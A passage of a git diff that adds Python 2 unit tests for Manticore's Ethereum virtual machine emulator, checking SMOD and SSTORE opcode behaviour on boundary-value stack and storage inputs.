+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SMOD_66(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_SMOD_67(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_SMOD_68(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [47L])
+
+    def test_SMOD_69(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_SMOD_70(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_SMOD_71(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SMOD_72(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_SMOD_73(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_SMOD_74(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SMOD_75(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_SMOD_76(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [162259276829213363391578010288112L])
+
+    def test_SMOD_77(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [10141204801825835211973625643023L])
+
+    def test_SMOD_78(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_SMOD_79(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_SMOD_80(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_SMOD_81(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x07'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMSSTORE.py b/tests/EVM/test_EVMSSTORE.py
new file mode 100644
index 0000000..ca36061
--- /dev/null
+++ b/tests/EVM/test_EVMSSTORE.py
@@ -0,0 +1,2792 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_SSTORE(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_SSTORE_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {115792089237316195423570985008687907853269984665640564039457584007913129639935L: 115792089237316195423570985008687907853269984665640564039457584007913129639935L}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_2(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {0: 115792089237316195423570985008687907853269984665640564039457584007913129639935L}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_3(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {1: 115792089237316195423570985008687907853269984665640564039457584007913129639935L}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_4(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {57896044618658097711785492504343953926634992332820282019728792003956564819952L: 115792089237316195423570985008687907853269984665640564039457584007913129639935L}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_5(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {3618502788666131106986593281521497120414687020801267626233049500247285301263L: 115792089237316195423570985008687907853269984665640564039457584007913129639935L}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_6(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {16: 115792089237316195423570985008687907853269984665640564039457584007913129639935L}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_7(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {32: 115792089237316195423570985008687907853269984665640564039457584007913129639935L}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_8(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {48: 115792089237316195423570985008687907853269984665640564039457584007913129639935L}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_9(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {6089590155545428825848686802984512581899718912L: 115792089237316195423570985008687907853269984665640564039457584007913129639935L}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_10(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {115792089237316195423570985008687907853269984665640564039457584007913129639935L: 0}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_11(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {0: 0}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_12(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address = 0x222222222222222222222222222222222222200
+            balance = None
+            code = 'U'
+            storage = {1: 0}
+            world.create_account( address=address, balance=balance, code=code, storage=storage)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='U'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+
+    def test_SSTORE_13(self):
+            #Make the constraint store
